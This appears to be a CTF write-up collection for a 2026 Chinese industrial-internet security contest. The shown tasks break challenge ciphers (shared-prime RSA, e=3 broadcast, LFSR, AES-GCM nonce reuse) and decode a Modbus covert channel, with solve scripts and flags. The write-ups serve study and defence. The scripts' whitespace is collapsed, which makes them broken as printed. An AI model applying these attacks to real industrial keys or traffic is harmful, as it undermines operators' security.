为深入贯彻党的二十大和二十届历次全会精神,全面落实“十五五”规划关于实施工业互联网创新发展工程、推进工业互联网安全体系建设的决策部署要求,坚持统筹发展和安全,以高水平安全保障高质量发展,持续强化工业互联网安全体系和能力建设,为新型工业化推进、制造强国和网络强国建设夯实安全基石。依据《关于组织开展2026年中国工业互联网安全大赛选拔赛的通知》《2026年中国工业互联网安全大赛选拔赛组织方式及遴选规则》,中国信息通信研究院将举办2026年中国工业互联网安全大赛全国线上预选赛)。
概述
本文是2026年中国工业互联网安全大赛全国线上预选赛的解题记录合集,按题目类型编排,每题包含基本情况、关键突破、利用/还原思路、复现脚本与最终Flag。
全部均为静态附件题,不依赖动态靶机,解压附件即可离线复现。题目背景覆盖电力与制造场景:风电场升压站到省调的遥测链路、变电站SCL配置文件、IEC 104远动、Modbus与OPC UA,也包含PLC逻辑沙箱、固件封存、账号审计与图像隐写。把场景放在一起看,会发现问题大多出在同一个前提上——工业系统在设计之初,普遍假设承载它的网络、数据与元数据是可信的;一旦这个前提不成立,协议字段、长度声明、审计口径乃至像素遍历顺序都可能变成攻击面。
赛事信息
形式:静态附件分析,无动态容器
题目类型:密码学、逆向、Pwn、流量分析、数据审计、隐写与编码
题目数量:30
收录题目一览
任务
类型
题目
核心考点
任务1
Crypto
crypto-1
自实现分组密码把密钥写进密文
任务2
Crypto
crypto-2
批量RSA模数共享素因子
任务3
Crypto
crypto-3
OTA许可封装:共享素因子与e=3广播
任务4
Crypto
crypto-4
LFSR-64流密码的已知明文攻击
任务5
Crypto
crypto-5
AES-GCM的nonce复用,恢复GHASH子密钥
任务6
Misc
misc-1
配置口令的GBK编码伪装与Encode逆向
任务7
Misc
misc-2
5View私有容器中的Modbus隐蔽信道
任务8
Misc
misc-3
IEC 104总召唤响应中的隐藏遥测点
任务9
Misc
misc-4
OPC UA地址空间载体节点隐蔽信道
任务10
Misc
misc-5
PNG尾随ZIP与组态工程包还原
任务11
Misc
设备工厂分布
备份数据的集合覆盖比对
任务12
Misc
恶意扫描
Modbus噪声中的十六进制隐蔽载荷
任务13
Misc
风机转速
Modbus写寄存器超限值定位
任务14
Reverse
easy逆向
字母与数字的双区间替换
任务15
Crypto
double_rc4
以自身加密结果派生第二把密钥
任务16
Misc
easy_encode
AAEncode、UUencode与轮转表Base64
任务17
Pwn
pwn-1
SBX1虚拟机头字段越界与ROP
任务18
Pwn
pwn-2
自研堆分配器UAF与函数表劫持
任务19
Reverse
re-1
UPX脱壳与异常流隐藏虚拟机
任务20
Reverse
re-2
TEA变体的逆运算
任务21
Reverse
re-3
PLCF固件封存槽与WNLP令牌
任务22
Crypto
数据加密之二曰
天书、佛曰多层编码与AES
任务23
Crypto
数据加密之汉字八卦
笔画数、卦名码点与3bit编码
任务24
Crypto
数据加密之维吉凯撒
维吉尼亚与凯撒级联
任务25
Misc
数据流量分析之TCP分析
TCP紧急指针头部隐写
任务26
Misc
数据审计之多维度复合检测
冗余条件筛选与MD5
任务27
Misc
数据审计之时间窗口检测
月末累计超期快照
任务29
Misc
数据完整性校验之分块校验
首尾块CRC32与整体SM3
任务30
Misc
数据隐写之进阶LSB
列优先LSB与Base64
任务1|crypto-1:密钥内嵌的自定义分组密码
附件:任务1.zip(task.py、output.enc)
- 基本情况
task.py读取SCL配置211111.scd,按24字节分组加密,每组以Python元组字面量写入output.enc,共13行;每行是一个六元组,对应一个24字节分组,合计312字节。算法与参数完全公开,安全性只寄托在密钥的隐蔽上。目标是从密文还原原始SCL文本,再取Header节点toolID属性中的flag。
- 关键突破
每个分组切成6个32位大端字w0…w5,只有(w0,w1)作为数据被enc1加密,w2…w5直接充当密钥,而密钥经enc2混合后又写回同一条记录,记录形如(enc1(w0,w1,key),enc2(key))。密钥以可逆形式随密文下发,无需任何穷举或猜测;13条记录各自独立,每条都自带密钥,可逐组并行还原。
enc1为TEA风格Feistel,16轮,delta=0x87654321;两处改动:v1轮函数用循环右移4位而非左移4位,且更新v1时引用本条刚更新的v0而非上一轮旧值。第16轮sum=16×delta。轮函数为(rol(y,4)+k0)^(y+sum)^((y>>5)+k1)与(ror(x,4)+k2)^(x+sum)^((x>>5)+k3),不含S盒或查表,逆向只是逐轮做减法与异或;四个密钥字在16轮中复用,没有密钥扩展,回退时保持同一顺序即可。
enc2四条赋值依次引用前一条结果:a←(a+b)^c、b←(b−c)^d、c←(c+d)^a、d←(d−a)^b。四条语句就地覆盖看似耦合,但每步都是可逆仿射运算,逆映射唯一:d=(D^B)+A、c=(C^A)−d、b=(B^D)+c、a=(A^C)−b,A…D为enc2的四个输出。
最后一组后四字为0是填充所致:明文293字节补齐到312字节(13×24),末尾两字落在零填充区,w2…w5全零,enc2(0,0,0,0)仍为全零,该组相当于直接暴露密钥,也印证了分组边界;填充区因此不仅泄露明文长度,还连带泄露密钥结构。
- 利用/还原思路
逐行读output.enc,剥去外层括号,按逗号切出6个十进制整数。
取索引2至5,从最后一条赋值开始逐层回代,按闭式逆求出4个密钥字。
以w0、w1为初值,令sum=16×delta,按r=16递减到1:先回退v1,再回退v0,随后sum减delta。
v0、v1与4个密钥字各按大端转4字节顺序拼接,得该组24字节明文;13组拼接后去掉尾部\x00填充。
在明文中定位toolID属性,取其引号内的值,套上flag{}。
用正向enc1、enc2重封,13组应与原密文逐字节一致,以证明逆变换链无偏置。
- 复现脚本
MASK, ROUNDS, DELTA =0xFFFFFFFF,16,0x87654321defror(v, s):v &= MASKreturn((v >> s) | (v << (32- s))) & MASKdefrol(v, s):v &= MASKreturn((v << s) | (v >> (32- s))) & MASKdefrecover_keys(carried):f0, f1, f2, f3 = carriedw3 = ((f3 ^ f1) + f0) & MASKw2 = ((f2 ^ f0) - w3) & MASKw1 = ((f1 ^ w3) + w2) & MASKw0 = ((f0 ^ w2) - w1) & MASKreturnw0, w1, w2, w3defunroll(head, keys):x, y = headk0, k1, k2, k3 = keysforrinrange(ROUNDS,0,-1):s = DELTA * r & MASKy = (y - ((ror(x,4) + k2) ^ (x + s) ^ ((x >>5) + k3))) & MASKx = (x - ((rol(y,4) + k0) ^ (y + s) ^ ((y >>5) + k1))) & MASKreturnx, ybuf = bytearray()forlineinopen("output.enc", encoding="ascii"):w = [int(t)fortinline.strip().strip("()").split(",")]keys = recover_keys(w[2:])buf +=b"".join(v.to_bytes(4,"big")forvinunroll(w[:2], keys) + keys)body = bytes(buf).rstrip(b"\x00")i = body.index(b'toolID="') +8print("flag{%s}"% body[i:body.index(b'"', i)].decode())5. 运行结果
blocks = 13, reseal check = okplaintext = 293 bytesflag: flag{NREC PCS-SCD 3.6.3 Release}6. 小结
密钥与密文同载体、只做可逆混淆,等于把密钥明文下发;对称密钥必须走独立信道。
最终flag
flag{NREC PCS-SCD 3.6.3 Release}
任务2|crypto-2:批量RSA模数共享素因子
附件:任务2.zip(1.txt)
- 基本情况
1.txt开头标注m=xxxxxxxx、e=65537,随后以n=、c=成对列出20组RSA参数,所有模数均为2048位,指数固定,说明统一按同一规格生成。文件是纯文本,n与c各20行,均为十进制大整数;密文采用raw RSA,无填充,解密结果就是原始明文字节。20组参数来自同一批设备签发,明文相同,只有模数不同。目标是利用这些参数之间的关系解出被涂抹的明文,并取出其中的flag。
- 关键突破
Håstad广播要求e不大于同明文组数且模数两两互素,这里e=65537远大于20组,先排除;公共模数攻击也不成立,因为20个n互不相同。RSA的安全性建立在n=pq难以分解之上,但批量签发一旦复用随机源或素材料,不同模数之间就会出现大于1的公约数。
两个独立模数只要共享一个素因子,gcd就是一个约1024位的素数,说明n的两个因子等长,符合常规生成,未见小因子或接近平方的异常;已知p后q=n//p立即得到,私钥只需一次模逆,完全不必做2048位整数的通用分解,也无需Coppersmith或数域筛。对20个模数两两求gcd,只有下标4与17命中,其余18个模数两两互素,属正常干扰组;一次gcd是微秒级,命中即分解,未命中直接跳过。
若硬套Håstad,需要把密文合并后开65537次根,但同明文的记录只有两组且模数互异,条件不成立;共享素因子路径只依赖一次gcd。20个模数共190对组合,全部求gcd的计算量可以忽略,命中后每组只需一次模逆与一次模幂,同一对只解一次即可。
两个命中模数并不相等,说明它们各自是不同素因子的乘积,只是恰好共用了同一个p,这正是两组密文能解出同一段明文的原因。两组分别用各自的n、p、q解密,指数同为65537,私钥d不同,结果应逐字节一致,可互为对照,任一组算错都会立刻暴露。下标从0开始计,第4组对应文件中第5个数据块。这条路径不依赖明文的任何格式,也不需要预先知道m的长度;只要gcd命中,解密就是确定性的,适用于任意批量参数转储。注意这不是分解n,而是利用两个n的公共因子;若20个n都独立生成,就只能回到通用分解难题。
- 利用/还原思路
读取1.txt,按行首的n=、c=分别正则抽取两列整数,正则用^锚定行首以免误匹配说明文字,确认两列长度一致后按位置配对,共20组。
双重循环只遍历i<j的上三角,共190对,求gcd,筛出1<gcd<n的结果,命中下标去重后只保留4与17;该区间同时排除互素与同模数两种误判。
仅对命中下标分解:取p=gcd(nᵢ,nⱼ)、q=nᵢ//p,断言p×q==nᵢ,若n%p不为0则说明配对错位,直接终止;p与q均约1024位,φ约2048位。
计算φ=(p−1)(q−1),求d=e⁻¹ mod φ,做m=cᵈ mod n,再转字节;φ无需换成λ(n)。
两组明文应逐字节相同,一致即确认攻击成立,再用flag{[^}]*}提取flag;两组的n不同而p相同,若结果不同则说明命中的gcd并非真实因子。
- 复现脚本
importrefrommathimportgcdfromCrypto.Util.numberimportinverse, long_to_bytestext = open("1.txt", encoding="ascii").read()ns = [int(v)forvinre.findall(r"^n\s=\s(\d+)", text, re.M)]cs = [int(v)forvinre.findall(r"^c\s=\s(\d+)", text, re.M)]pairs = list(zip(ns, cs))E =65537hits = {}foriinrange(len(pairs)):forjinrange(i +1, len(pairs)):g = gcd(pairs[i][0], pairs[j][0])if1< g < pairs[i][0]:hits[i] = hits[j] = gplain = {}fori, pinhits.items():n, c = pairs[i]assertn % p ==0d = inverse(E, (p -1) * (n // p -1))plain[i] = long_to_bytes(pow(c, d, n))print(i, p.bit_length(), plain[i])assertlen(set(plain.values())) ==1print(re.search(rb"flag{[^}]*}", plain[4]).group().decode())5. 运行结果
total records: 20, all n = 2048 bitshared-factor indices: [4, 17]record[4] p = 1024 bit, q = 1024 bitrecord[4] plaintext = b'flag{abdcbe5fd94e23b3de429223ab9c2fdf}'flag: flag{abdcbe5fd94e23b3de429223ab9c2fdf}6. 小结
共享素因子会让两组密钥同时失效;批量签发必须逐把独立生成并做互素自检,发现gcd>1应整批作废。
最终flag
flag{abdcbe5fd94e23b3de429223ab9c2fdf}
任务3|crypto-3:OTA许可封装的双缺陷与两条攻击路径
附件:任务3.zip(crtpto-3.zip内的firmware_manifest.json、sealed_blobs.json)
- 基本情况
附件含firmware_manifest.json(站内RSA密钥台账)与sealed_blobs.json(退役样机OTA客户端缓存导出的9条封装记录)。台账描述PRT-3000保护测控装置的三批固件包:FW-2026Q3-A为在役批次(current,PUB-A1/A2/A3),FW-2026Q2-B因e=3且无填充被吊销(revoked),FW-2026Q1-Z为历史归档(superseded,仅PUB-Z1),另有研发测试台密钥PUB-C1(status=test)。封装方案为raw RSA,签名与许可载荷复用同一批密钥,每条记录是raw RSA输出的大端整数。目标是恢复在役批次的许可载荷flag。
- 关键突破
把台账所有模数两两求gcd,命中三对:PUB-A1与PUB-B1、PUB-A1与PUB-Z1、PUB-B1与PUB-Z1,公共因子是512位素数。也就是说A1、B1、Z1跨批次、跨产线烧录站复用了同一p;PUB-A1的n为1023位,可直接分解为两个512位因子。
A批次自身还有第二类缺陷:PUB-A1/A2/A3的指数均为e=3,记录1至3承载同一许可载荷,且三个模数两两互素。用中国剩余定理合并三条同余式后模数M约3070位;因明文很短,合并结果就是m³本身,取整数三次根即还原。
台账把e=3无填充写在B批次的吊销理由里,但A批次同样如此,还叠加共享素因子,形成两条独立可解路径,可互相印证。
干扰项:记录9对应PUB-C1,e=3且密文远小于模数,直接开立方得NRWF-OTA-LIC/FW-TEST#factory-test-blob-v1,是诱饵;PUB-B4指数为65537,不参与广播且属已吊销批次,均与目标无关。
- 利用/还原思路
解析两份JSON,建立key_id到(n,e)、批次到密钥列表、key_id到sealed整数的映射。
定位FW-2026Q3-A,取其密钥列表[PUB-A1,PUB-A2,PUB-A3]。
路径一:对n(A1)与台账全部n求gcd,命中PUB-B1得512位p;令q=n//p,φ=(p−1)(q−1),d=3⁻¹modφ,m=cᵈmodn。
路径二:确认三把e均为3、三模数两两互素;用CRT合并cᵢ≡m³(modnᵢ),M=n₁n₂n₃约3070位。
因m³<M,对合并值取整数三次根,并校验root³等于合并值。
两条路径载荷逐字节一致;再对记录9开立方确认诱饵,最后正则提取flag。
- 复现脚本
importjson, refrommathimportgcd, prodfromCrypto.Util.numberimportinverseman = json.load(open("firmware_manifest.json", encoding="utf-8"))keys = {k["key_id"]: (int(k["n"],16), int(k["e"]))forkinman["public_keys"]}sealed = {r["key_id"]: int(r["sealed"],16)forrinjson.load(open("sealed_blobs.json", encoding="utf-8"))["records"]}a = [bforbinman["batches"]ifb["batch_id"] =="FW-2026Q3-A"][0]["key_ids"]n1, e1 = keys[a[0]]p = next(gfork, (n, _)inkeys.items()ifk != a[0]forgin[gcd(n1, n)]if1< g < n1)v1 = pow(sealed[a[0]], inverse(e1, (p -1) * (n1 // p -1)), n1)M = prod(keys[k][0]forkina)acc = sum(sealed[k] * (M // keys[k][0]) * inverse(M // keys[k][0], keys[k][0])forkina) % Mdefiroot(v, k):ifv <2:returnvx =1<< ((v.bit_length() + k -1) // k)whileTrue:y = ((k -1) * x + v // x ** (k -1)) // kify >= x:breakx = ywhilex ** k > v: x -=1while(x +1) ** k <= v: x +=1returnxv2 = iroot(acc,3)assertv1 == v2m = v1.to_bytes((v1.bit_length() +7) //8,"big")print(m.decode())print(re.search(rb"flag{[^}]*}", m).group().decode())5. 运行结果
path1: gcd(n[A1], n[PUB-B1]) = 512 bit primepath2: CRT modulus = 3070 bit, e = 3path1 payload: b'NRWF-OTA-LIC/FW-2026Q3-A#flag{Sh4r3d_Pr1m3_0v3r_0TA_26}'path2 payload: b'NRWF-OTA-LIC/FW-2026Q3-A#flag{Sh4r3d_Pr1m3_0v3r_0TA_26}'flag: flag{Sh4r3d_Pr1m3_0v3r_0TA_26}6. 小结
共享素因子与e=3无填充叠加在同一批密钥上,两条路径互证;raw RSA必须改OAEP并逐把独立生成。
最终flag
flag{Sh4r3d_Pr1m3_0v3r_0TA_26}
任务4|crypto-4:LFSR-64流密码的已知明文攻击
附件:任务4.zip(crypto-4.zip内的radio_capture.log、radio_policy.json)
- 基本情况
radio_capture.log为36帧,每行含时间戳、通道、方向、ctr、长度与载荷;radio_policy.json登记算法档NRWF-RADIO-V2的poly、output_mask、state_mix与state_init,以及三通道的ctr_salt、status和下行通道CH9。算法为64位LFSR逐位生成密钥流。目标是恢复status=current通道的密钥并解出flag。
- 关键突破
反馈位为parity(state&poly),输出位为parity(state&output_mask),state_mix是rol64,均为GF(2)线性映射;只有state_init的raw=key⊕((ctr_salt·ctr)mod2^64)带异或常数。链路因此仿射:密钥流=Φ(rol64(key⊕(ctr_salt·ctr),13)),Φ与帧无关。
每帧前8字节恒为A5 5A、通道号与NRWF-,即64位已知密钥流,组成64阶线性方程组;求出Φ⁻¹后一次矩阵向量乘即可定出密钥,不必搜索2^64空间。参数poly=0xd80000000000001b、output_mask=0x8020000000000001、rol=13。
CH2两帧ctr同为0x0014,前13字节一致、自偏移13起分叉:初始状态相同则密钥流相同,异或后只剩明文差异(WTG09/V=08.0/P=1205与WTG07/V=05.7/P=0790)。可见ctr明文携带并直接参与派生,回收即密钥流复用。CH9以A5 5A 00开头、紧跟可读ASCII,为plaintext通道,不含flag。
- 利用/还原思路
从台账取current档poly、output_mask与rol位数,并读ctr_salt、status。
位发生器每步先取parity(state&output_mask)输出,再算反馈、右移、反馈位置第63位;64位按lsb-first打包。
令state=rol64(1<<i,13),i=0…63,各取64位得Φ的64个列向量,转置成行。
取一帧,前8字节密文异或明文头得观测密钥流,再异或常数Φ(rol64(ctr_salt·ctr,13)),解64阶方程组得候选密钥。
其余帧回代明文头全中才采纳;整帧异或密钥流得明文,偏移8为类型0x10,偏移9起为遥测或flag。
只采纳status=current的CH1;CH2、CH3分别为rotated、revoked。
- 复现脚本
importjson, repol = json.load(open("radio_policy.json", encoding="utf-8"))prof = next(pforpinpol["crypto_profiles"]ifp["status"] =="current")POLY, OMASK = int(prof["poly"],16), int(prof["output_mask"],16)ROT = int(re.search(r"rol64(raw,\s(\d+))", prof["state_mix"]).group(1))par =lambdav: bin(v).count("1") &1mix =lambdar: ((r << ROT) | (r >> (64- ROT))) &0xFFFFFFFFFFFFFFFFdefbits(s):while1:yieldpar(s & OMASK)s = (s >>1) | (par(s & POLY) <<63)word =lambdas: sum(b << ifori, binzip(range(64), bits(s)))rows = [sum(((word(mix(1<< i)) >> j) &1) << iforiinrange(64))forjinrange(64)]pool = [{"ctr": int(x[3][4:],16),"b": bytes.fromhex(x[5])}forxinmap(str.split, open("radio_capture.log", encoding="utf-8"))iflen(x) ==6andx[1] =="CH1"andx[2] =="UL"]salt = int(next(c["ctr_salt"]forcinpol["channels"]ifc["ch_id"] ==1),16)hdr = bytes([0xA5,0x5A,1]) +b"NRWF-"ks =lambdaf: sum((f["b"][i] ^ hdr[i]) << (8 i)foriinrange(8))rhs = ks(pool[0]) ^ word(mix((salt * pool[0]["ctr"]) &0xFFFFFFFFFFFFFFFF))aug = [rows[i] | (((rhs >> i) &1) <<64)foriinrange(64)]forcinrange(64):r = next(rforrinrange(c,64)ifaug[r] >> c &1)aug[c], aug[r] = aug[r], aug[c]aug = [a ^ aug[c]ifk != canda >> c &1elseafork, ainenumerate(aug)]key = sum(((aug[i] >>64) &1) << iforiinrange(64))assertall(word(mix(key ^ ((salt * f["ctr"]) &0xFFFFFFFFFFFFFFFF))) == ks(f)forfinpool)forfinpool:g = bits(mix(key ^ ((salt * f["ctr"]) &0xFFFFFFFFFFFFFFFF)))pt = bytes(c ^ sum(next(g) << jforjinrange(8))forcinf["b"])ifb"flag{"inpt:print("key=%#018x"% key, pt[9:].decode("latin1").rstrip())5. 运行结果
key=0x6b1f4a9c2d8e7305 flag{N4rr0wb4nd_LFSR_St4t3_26}flag{N4rr0wb4nd_LFSR_St4t3_26}6. 小结
线性密钥流叠加固定明文头等于泄露密钥;64位LFSR状态偏短,ctr更不得复用。
最终flag
flag{N4rr0wb4nd_LFSR_St4t3_26}
任务5|crypto-5:AES-GCM的nonce复用与GHASH子密钥恢复
附件:任务5.zip(crypto-5.zip内的gcm_capture.json、sealed_license.json、telemetry_policy.json)
- 基本情况
遥测上行链路以AES-128-GCM保护32字节定长帧,密钥128位、nonce12字节、标签16字节。台账telemetry_policy.json规定nonce由4字节大端frame_ctr与8字节大端dev_epoch拼接,AAD为16字节链路标识,明文以NRWF-T2 SEQ=开头。日志共24帧,分属ch1至ch3,另附三份封存许可,其中仅ch1为current。目标是从抓包与台账恢复当前通道的许可凭据。
- 关键突破
三处nonce完全碰撞:ch1的seq5/7/9(frame_ctr=0x2A)、ch2的13/15/18(0x5C)、ch3的11/14/17(0x9A);另有0x37出现在seq21/24,但dev_epoch不同,nonce未复用,属干扰项。同nonce各帧的CTR密钥流相同,密文异或只在偏移15、26、28三处非零,对应SEQ与温度数字。
标签满足tag=GHASH(H,AAD,C)⊕E_K(J0),同nonce下E_K(J0)为同一常数,两帧相减即消去。本题帧结构为1块AAD、2块密文、1块长度,展开后AAD块与长度块也两两相同,只剩ΔC1·H^3⊕ΔC2·H^2⊕ΔT=0,H的一次项系数恒为0。同组三帧可取两条这样的差式,在GF(2^128)上做多项式辗转相除;两式共有根H,公因式为首一一次式x⊕H,其常数项直接就是H,无需开方,也不受二次项退化影响,第三个差式还能回代核验。
- 利用/还原思路
按GCM位序实现GF(2^128):乘x为右移一位、末位为1时异或0xE1<<120,乘法单位元是1<<127。
按nonce分组,保留帧数大于1的组,统计密文差异字节,确认差异只落在可变字段。
以每组首帧为基准,与其余两帧构造系数向量[ΔT,0,ΔC2,ΔC1]。
对两条三次式做poly_gcd并首一化,结果为一次式时取常数项为H,回代残差应为0。
以H的16字节大端为IKM,salt取NRWF-TELEM-LIC-v2,info取ch加通道号,HKDF-SHA256派生32字节密钥。
以AES-256-CTR解封,计数器块自16字节iv起按128位大端递增,复算HMAC-SHA256(key,iv||ct)[:16]与tag比对。
三份许可各用所属通道的H派生密钥,只采纳台账中current的ch1。
- 复现脚本
importjsonR, ONE =0xE1<<120,1<<127defup1(v):return(v >>1) ^ (Rifv &1else0)defmul(a, b):z, v =0, aforiinrange(128):z ^= vifb >> (127- i) &1else0v = up1(v)returnzdefinv(a):r, e = ONE, (1<<128) -2whilee:ife &1:r = mul(r, a)a, e = mul(a, a), e >>1returnrdefpdiv(p, q):p, q = list(p), list(q)whilelen(p) >1andp[-1] ==0: p.pop()whilelen(q) >1andq[-1] ==0: q.pop()iflen(p) < len(q):return[0], pquo = [0] * (len(p) - len(q) +1)foriinrange(len(quo) -1,-1,-1):f = mul(p[i + len(q) -1], inv(q[-1]))quo[i] = fforj, cinenumerate(q):p[i + j] ^= mul(f, c)whilelen(p) >1andp[-1] ==0: p.pop()returnquo, pdefpgcd(p, q):whilelen(q) >1orq[0]:p, q = q, pdiv(p, q)[1]lead = inv(p[-1])return[mul(c, lead)forcinp]G = {}forfinjson.load(open("gcm_capture.json", encoding="utf-8"))["frames"]:G.setdefault(f["nonce"], []).append(f)defdiff(a, b):A, B = bytes.fromhex(a["ciphertext"]), bytes.fromhex(b["ciphertext"])return[int(a["tag"],16) ^ int(b["tag"],16),0,int.from_bytes(A[16:],"big") ^ int.from_bytes(B[16:],"big"),int.from_bytes(A[:16],"big") ^ int.from_bytes(B[:16],"big")]forginG.values():iflen(g) >2:H = pgcd(diff(g[0], g[1]), diff(g[0], g[2]))[0]print(g[0]["ch_id"],"%032x"% H)5. 运行结果
[+] ch1 两次差式公共根唯一:H=effec68ba41d511d7422c6f2661d3e7a,回代残差 全零[lic_7f2a] ch=1 status=current HMAC-SHA256(iv||ct)[:16] 一致[=] flag{GCM_N0nc3_R3u53_1s_F0rb1dd3n_26}6. 小结
nonce复用让标签差消去E_K(J0),H便从认证密钥降为可解的多项式根;再把H当作KDF输入,等于把认证子密钥借给了业务侧。
最终flag
flag{GCM_N0nc3_R3u53_1s_F0rb1dd3n_26}
任务6|misc-1:数据库配置口令的GBK编码伪装与Encode逆向
附件:任务6.zip(db_config.sys、encode.png)
- 基本情况
附件两份文件的后缀均与实际类型不符。db_config.sys仅256字节,文件头为5B 64 62 20即ASCII的“[db ”,实为CRLF行尾的INI数据库配置;encode.png魔数为FF D8 FF E0,实为1149×425的JPEG截图,画面是IDA反编译的Encode函数。配置中service_1指向mdb、user_name为D5000、db_name为ems,只有user_password的值是一串生僻汉字,落盘42字节。目标是由这段汉字还原明文口令,再套flag格式。
- 关键突破
Encode的原型为int __cdecl Encode(char SoursePasswd, char TargetPasswd),以i从0遍历源串,每字节写出两个字节:TargetPasswd[2i]=((SoursePasswd[i]>>4)+0x80)^0x6C,TargetPasswd[2i+1]=((SoursePasswd[i]&0x0F)+0x80)^0x6E,循环后在2i处写0。一个明文字节被拆成高低半字节,密文长度恰为两倍且无损。
值域决定了伪装必然成立。半字节n加0x80等价于0x80|n,高四位恒为8;异或0x6C或0x6E(高四位均为6)后高四位固定为0xE,低四位是n与常量低四位的异或,仍为0至15的排列。因此两个密文字节都严格落在0xE0至0xEF,恰被GBK双字节区覆盖,任意ASCII口令都能变成合法汉字串。实测14字节只取到部分值,不能把实测区间当成理论值域。
落盘链路是把密文字节按GBK解码成汉字,再以UTF-8写入配置。42字节正好是14个三字节UTF-8序列,对应GBK下28字节,两种编码的长度严格保持3:2。逆向时须先按UTF-8宽度切出每个字符,再回查GBK双字节,不能直接对整串解码。
- 利用/还原思路
读文件头判型:db_config.sys无常见魔数,但首字节为“[”且可整段UTF-8解码,判为INI;encode.png以FF D8 FF E0开头,判为JPEG。
在原始字节流定位user_password=,向后取到第一个0x0D,得42字节,字段值起始偏移73,全程不做解码。
手工走UTF-8:首字节高4位为1110则宽度3,取两个10xxxxxx续字节拼码点,共14个字符,宽度集合为{3}。
遍历GBK首字节0x81至0xFE、尾字节0x40至0xFE并跳过0x7F,只保留解出单字符的组合,建立21791项字符到双字节的索引。
逐字查表得(t0,t1),按hi=(t0^0x6C)-0x80、lo=(t1^0x6E)-0x80还原,检查均在0至15内,拼(hi<<4)|lo。首字“鞬”U+956C的GBK为EF EC,算得0x32即字符“2”。
正向复算:对还原出的口令重跑Encode,再GBK解码、UTF-8编码,所得42字节须与文件字段逐字节相同且CRC32同为95aca49d。
明文为2025_DLB_Crypt,即flag{2025_DLB_Crypt}。
- 复现脚本
importbinasciiFIELD =b"user_password="deffield(blob, key):s = blob.find(key) + len(key)e = swhileblob[e]notin(0x0D,0x0A):e +=1returns, blob[s:e]defwalk(buf):i =0whilei < len(buf):b0 = buf[i]w =3ifb0 >>4==0xEelse2ifb0 >>5==0x6else1cp = b0 & (0x0Fifw ==3else0x1Fifw ==2else0x7F)forkinrange(1, w):cp = cp <<6| buf[i + k] &0x3Fyieldcpi += wdefgbk_index():idx = {}forhinrange(0x81,0xFF):forlinrange(0x40,0xFF):ifl ==0x7F:continuetry:ch = bytes([h, l]).decode("gbk")exceptUnicodeDecodeError:continueiflen(ch) ==1:idx[ch] = (h, l)returnidxblob = open("db_config.sys","rb").read()off, raw = field(blob, FIELD)idx = gbk_index()plain = bytes(((idx[chr(c)][0] ^0x6C) -0x80) <<4|((idx[chr(c)][1] ^0x6E) -0x80)forcinwalk(raw))back =b"".join(bytes([((b >>4) +0x80) ^0x6C,((b &15) +0x80) ^0x6E]).decode("gbk").encode()forbinplain)print(off, len(raw), len(idx), binascii.crc32(raw) == binascii.crc32(back), plain)5. 运行结果
[] user_password 位于偏移 73,占 42 字节[] GBK双字节索引 21791 项;UTF-8分段 14 个字符,宽度集合 [3][+] 还原明文口令:2025_DLB_Crypt[+] 回环 CRC32 95aca49d 校验通过[=] flag{2025_DLB_Crypt}6. 小结
后缀伪装只误导第一步,真正难点是密文字节先被GBK解释、再以UTF-8落盘;半字节混淆本身不构成加密。
最终flag
flag{2025_DLB_Crypt}
任务7|misc-2:5View私有容器中的Modbus隐蔽信道
附件:任务7.zip(misc-2.zip内的modbus.pcap)
- 基本情况
附件modbus.pcap以5View私有格式封装,文件头魔数为AAAA AAAA,既非标准pcap的D4 C3 B2 A1,也非pcapng的0A 0D 0D 0A,直接交给dpkt或scapy会报头部非法。提示说明这是Modbus通信,机密标识符被写入寄存器。抓包共751826字节、7700条记录,绝大多数是成对读操作,真正的写操作只有一处。目标是从流量中还原被刻意倒置的内容。
- 关键突破
容器为连续记录:每条前面是36字节记录头,固定以EE EE 33 33开头,偏移16处的4字节小端整数等于其后以太帧长度,按36+帧长顺序步进即可。首条记录前还有一段私有文件头,从首个魔数起按此规则可遍历全部7700条,尾部无额外对齐。不宜全文搜索魔数切分,因为以太帧载荷内部也可能出现同样字节,会造成记录边界错位。
协议层按以太类型08 00、IPv4协议号6、IP首部长度与TCP数据偏移逐层取出载荷,目的端口502即Modbus。统计功能码可见1、2、3、4各有351条,对应读线圈、读离散输入、读保持寄存器、读输入寄存器;功能码0x10(写多个保持寄存器)只有1条,正是目标报文。
该报文起始寄存器为1、寄存器数25、字节数50,恰为25×2,说明数据未被截断。Modbus的0x10请求在7字节MBAP头之后依次为功能码1字节、起始地址2字节、数量2字节、字节数1字节、数据,故pdu[7]为功能码,pdu[8:12]可按两个大端16位读出,pdu[12]为字节数。50字节以0x00开头,是寄存器对齐填充;末尾一连串“.”用于占满剩余寄存器空间,二者都不是密文。去掉后得到以“==”开头的字符串,而合法Base64的等号只应在末尾,说明整串被倒序。反转后解码,结果以“}”开头、以“galf”结尾,明文同样被倒置,再反转一次即得flag。两层倒置叠加,正是题面所说的刻意混淆。
- 利用/还原思路
读入整个文件,以EE EE 33 33定位第一条记录起点,跳过文件私有前缀。
循环校验记录头,读取偏移16处的4字节小端作为帧长,切出以太帧后步进36+帧长。
逐层解析:以太类型须为08 00,IPv4协议号须为6,按IHL与TCP数据偏移取载荷,并以IP总长度截断,避免把以太网填充算进去。
保留目的端口502且长度足够的报文,按功能码0x10筛选;在MBAP头后按功能码、起始地址、数量、字节数、数据的顺序读取pdu[8:12]与pdu[12]。
去除前导0x00与尾部“.”,反转后Base64解码,再反转得到明文。
- 复现脚本
importbase64, structCAP, MAGIC, HL ="modbus.pcap",b"\xee\xee\x33\x33",36blob = open(CAP,"rb").read()pos, frames = blob.find(MAGIC), []whilepos !=-1andpos + HL <= len(blob):n = struct.unpack("<I", blob[pos +16:pos +20])[0]frames.append(blob[pos + HL:pos + HL + n])pos += HL + nforfinframes:iflen(f) <34orf[12:14] !=b"\x08\x00":continueip = f[14:]ifip[0] >>4!=4orip[9] !=6:continueihl = (ip[0] &15) 4seg = ip[ihl:struct.unpack(">H", ip[2:4])[0]]iflen(seg) <20orstruct.unpack(">H", seg[2:4])[0] !=502:continuepdu = seg[(seg[12] >>4) 4:]iflen(pdu) <13orpdu[7] !=0x10:continueref, qty = struct.unpack(">HH", pdu[8:12])raw = pdu[13:13+ pdu[12]]cipher = raw.lstrip(b"\x00").rstrip(b".")print(ref, qty, base64.b64decode(cipher[::-1])[::-1].decode())5. 运行结果
[] 容器魔数 aaaaaaaa,体积 751826 字节,记录数 7700[] 功能码 0x01/0x02/0x03/0x04 各351条,0x10仅1条[] 起始寄存器 1,寄存器数 25,字节数 50[] 反转Base64得 }ed0c_eht_3vah_4suj_u0y{galf[+] flag{y0u_jus4_hav3_the_c0de}6. 小结
